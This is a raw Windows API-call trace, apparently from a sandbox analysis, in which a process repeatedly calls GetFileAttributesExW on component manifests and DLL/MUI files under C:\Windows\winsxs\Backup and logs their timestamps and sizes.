	[0101.301] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6578e61f4c86036e.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6578e61f4c86036e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c0a8 | out: lpFileInformation=0x1285c0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eca3b14, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ac86856, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ac86856, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc23)) returned 1
	[0101.302] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6578e61f4c86036e_hid.dll.mui_cccd5ae0" (normalized: "c:\\windows\\winsxs\\backup\\x86_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6578e61f4c86036e_hid.dll.mui_cccd5ae0"), fInfoLevelId=0x0, lpFileInformation=0x1285c0f8 | out: lpFileInformation=0x1285c0f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eca3b14, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ac86856, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ac86856, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1
	[0101.302] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6578e61f4c86036e_hidserv.dll.mui_561adfc8" (normalized: "c:\\windows\\winsxs\\backup\\x86_hid-user.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6578e61f4c86036e_hidserv.dll.mui_561adfc8"), fInfoLevelId=0x0, lpFileInformation=0x1285c148 | out: lpFileInformation=0x1285c148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eca3b14, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ac86856, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ac86856, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00)) returned 1
	[0101.302] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c819c7732c3c0c77.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c819c7732c3c0c77.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c198 | out: lpFileInformation=0x1285c198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebbeabe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aa964f1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1aa964f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9fd)) returned 1
	[0101.302] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c819c7732c3c0c77_activeds.dll.mui_67414db4" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..ce-router.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c819c7732c3c0c77_activeds.dll.mui_67414db4"), fInfoLevelId=0x0, lpFileInformation=0x1285c1e8 | out: lpFileInformation=0x1285c1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebbeabe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1aa964f1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1aa964f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0101.302] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6a01cab655265f19.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6a01cab655265f19.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c238 | out: lpFileInformation=0x1285c238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec7d85b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ac1402b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ac1402b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9cd)) returned 1
	[0101.302] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6a01cab655265f19_winmm.dll.mui_224f6445" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..core-base.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6a01cab655265f19_winmm.dll.mui_224f6445"), fInfoLevelId=0x0, lpFileInformation=0x1285c288 | out: lpFileInformation=0x1285c288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec7d85b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ac3a2e4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ac3a2e4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5a00)) returned 1
	[0101.303] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7601.17514_none_59fd7093dccb4652.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7601.17514_none_59fd7093dccb4652.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c2d8 | out: lpFileInformation=0x1285c2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb715c252, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf6c213ae, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf6c213ae, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19d31)) returned 1
	[0101.303] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7601.17514_none_59fd7093dccb4652_activeds.dll_662643d7" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7601.17514_none_59fd7093dccb4652_activeds.dll_662643d7"), fInfoLevelId=0x0, lpFileInformation=0x1285c328 | out: lpFileInformation=0x1285c328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb71823b2, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf6c213ae, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf6c4750f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800)) returned 1
	[0101.303] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7601.17514_none_59fd7093dccb4652_activeds.tlb_662648dd" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..es-interface-router_31bf3856ad364e35_6.1.7601.17514_none_59fd7093dccb4652_activeds.tlb_662648dd"), fInfoLevelId=0x0, lpFileInformation=0x1285c378 | out: lpFileInformation=0x1285c378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb71ce673, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf6c4750f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf6c4750f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b400)) returned 1
	[0101.303] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_8b52ed91fe5d105f.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_8b52ed91fe5d105f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c3c8 | out: lpFileInformation=0x1285c3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed1633f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ad6b8ac, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ad6b8ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x93e)) returned 1
	[0101.303] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_8b52ed91fe5d105f_authui.dll.mui_19b92789" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..on-authui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_8b52ed91fe5d105f_authui.dll.mui_19b92789"), fInfoLevelId=0x0, lpFileInformation=0x1285c418 | out: lpFileInformation=0x1285c418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ed1633f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ad6b8ac, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ad6b8ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800)) returned 1
	[0101.303] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f7fe9ec9f7f467dd.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f7fe9ec9f7f467dd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c468 | out: lpFileInformation=0x1285c468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ecc9dcd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1acd2dc8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1acd2dc8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff7)) returned 1
	[0101.304] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f7fe9ec9f7f467dd_aelupsvc.dll.mui_5d6cb110" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f7fe9ec9f7f467dd_aelupsvc.dll.mui_5d6cb110"), fInfoLevelId=0x0, lpFileInformation=0x1285c4b8 | out: lpFileInformation=0x1285c4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ecc9dcd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1acd2dc8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1acd2dc8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00)) returned 1
	[0101.304] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f7fe9ec9f7f467dd_apphelp.dll.mui_59096153" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f7fe9ec9f7f467dd_apphelp.dll.mui_59096153"), fInfoLevelId=0x0, lpFileInformation=0x1285c508 | out: lpFileInformation=0x1285c508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ecc9dcd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1acd2dc8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1acd2dc8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00)) returned 1
	[0101.304] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f7fe9ec9f7f467dd_sdbinst.exe.mui_258ad624" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-a..structure.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f7fe9ec9f7f467dd_sdbinst.exe.mui_258ad624"), fInfoLevelId=0x0, lpFileInformation=0x1285c558 | out: lpFileInformation=0x1285c558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ecc9dcd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1acd2dc8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1acd2dc8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200)) returned 1
	[0101.304] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_291c6c0621fdacf4.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_291c6c0621fdacf4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c5a8 | out: lpFileInformation=0x1285c5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec312e9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ab5528e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ab5528e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x94f)) returned 1
	[0101.304] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_291c6c0621fdacf4_acledit.dll.mui_5f932ccb" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-acledit.resources_31bf3856ad364e35_6.1.7600.16385_en-us_291c6c0621fdacf4_acledit.dll.mui_5f932ccb"), fInfoLevelId=0x0, lpFileInformation=0x1285c5f8 | out: lpFileInformation=0x1285c5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec312e9, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ab7b547, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ab7b547, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0101.304] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_67b7d66bbde58bb7.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_67b7d66bbde58bb7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c648 | out: lpFileInformation=0x1285c648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e033fe9, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf8d5d71a, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf8d83703, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0xa21)) returned 1
	[0101.304] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_67b7d66bbde58bb7_acledit.dll_89da72d2" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-acledit_31bf3856ad364e35_6.1.7600.16385_none_67b7d66bbde58bb7_acledit.dll_89da72d2"), fInfoLevelId=0x0, lpFileInformation=0x1285c698 | out: lpFileInformation=0x1285c698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e033fe9, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xf8d83703, ftLastAccessTime.dwHighDateTime=0x1ca042e, ftLastWriteTime.dwLowDateTime=0xf8d83703, ftLastWriteTime.dwHighDateTime=0x1ca042e, nFileSizeHigh=0x0, nFileSizeLow=0x1e00)) returned 1
	[0101.304] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_41a82a52123f4af2.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_41a82a52123f4af2.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c6e8 | out: lpFileInformation=0x1285c6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec7d85b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ac3a2e4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ac3a2e4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa08)) returned 1
	[0101.305] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_41a82a52123f4af2_aclui.dll.mui_adadbfb7" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-aclui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_41a82a52123f4af2_aclui.dll.mui_adadbfb7"), fInfoLevelId=0x0, lpFileInformation=0x1285c738 | out: lpFileInformation=0x1285c738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec7d85b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ac3a2e4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ac3a2e4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xb600)) returned 1
	[0101.305] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_54e0b44114fa502d.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_54e0b44114fa502d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c788 | out: lpFileInformation=0x1285c788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e222ad4, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x5ec7855, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x5eed83e, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb65)) returned 1
	[0101.305] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_54e0b44114fa502d_aclui.dll_ebee9df6" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-aclui_31bf3856ad364e35_6.1.7600.16385_none_54e0b44114fa502d_aclui.dll_ebee9df6"), fInfoLevelId=0x0, lpFileInformation=0x1285c7d8 | out: lpFileInformation=0x1285c7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e222ad4, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0x5eed83e, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0x5f5f7f9, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00)) returned 1
	[0101.305] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-activexcompat_31bf3856ad364e35_8.0.7601.17514_none_130b4fcfd8d29c7c.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-activexcompat_31bf3856ad364e35_8.0.7601.17514_none_130b4fcfd8d29c7c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c828 | out: lpFileInformation=0x1285c828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb050d88a, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf5773468, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf5773468, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x131f5)) returned 1
	[0101.305] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_14159d5b488c6fa1.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_14159d5b488c6fa1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c878 | out: lpFileInformation=0x1285c878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaffb2700, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf56b4d87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf56b4d87, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x74359)) returned 1
	[0101.305] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_14159d5b488c6fa1_actxprxy.dll_82133921" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-activexproxy_31bf3856ad364e35_6.1.7601.17514_none_14159d5b488c6fa1_actxprxy.dll_82133921"), fInfoLevelId=0x0, lpFileInformation=0x1285c8c8 | out: lpFileInformation=0x1285c8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafffe9c1, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf56b4d87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf56daee7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00)) returned 1
	[0101.305] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_185fce5712288508.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_185fce5712288508.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c918 | out: lpFileInformation=0x1285c918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebe4d77, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ab08d1c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ab08d1c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x93a)) returned 1
	[0101.306] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_185fce5712288508_advapi32.dll.mui_28c7718f" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-advapi32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_185fce5712288508_advapi32.dll.mui_28c7718f"), fInfoLevelId=0x0, lpFileInformation=0x1285c968 | out: lpFileInformation=0x1285c968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebe4d77, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ab08d1c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ab08d1c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x51400)) returned 1
	[0101.306] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7601.17514_none_e54fbb95e4c3d1bb.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7601.17514_none_e54fbb95e4c3d1bb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285c9b8 | out: lpFileInformation=0x1285c9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6b1c886, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf6aa45ec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf6aa45ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9f)) returned 1
	[0101.306] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7601.17514_none_e54fbb95e4c3d1bb_advapi32.dll_9512793c" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-advapi32_31bf3856ad364e35_6.1.7601.17514_none_e54fbb95e4c3d1bb_advapi32.dll_9512793c"), fInfoLevelId=0x0, lpFileInformation=0x1285ca08 | out: lpFileInformation=0x1285ca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6b68b47, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xf6aa45ec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf6aca74c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600)) returned 1
	[0101.306] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Backup\\x86_microsoft-windows-agpsettings_31bf3856ad364e35_6.1.7600.16385_none_6ee43cca3e1ad238.manifest" (normalized: "c:\\windows\\winsxs\\backup\\x86_microsoft-windows-agpsettings_31bf3856ad364e35_6.1.7600.16385_none_6ee43cca3e1ad238.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1285ca58 | out: lpFileInformation=0x1285ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e4115bf, ftCreationTime.dwHighDateTime=0x1ca042f, ftLastAccessTime.dwLowDateTime=0xe3109a8, ftLastAccessTime.dwHighDateTime=0x1ca042f, ftLastWriteTime.dwLowDateTime=0xe336a7f, ftLastWriteTime.dwHighDateTime=0x1ca042f, nFileSizeHigh=0x0, nFileSizeLow=0xb55)) returned 1
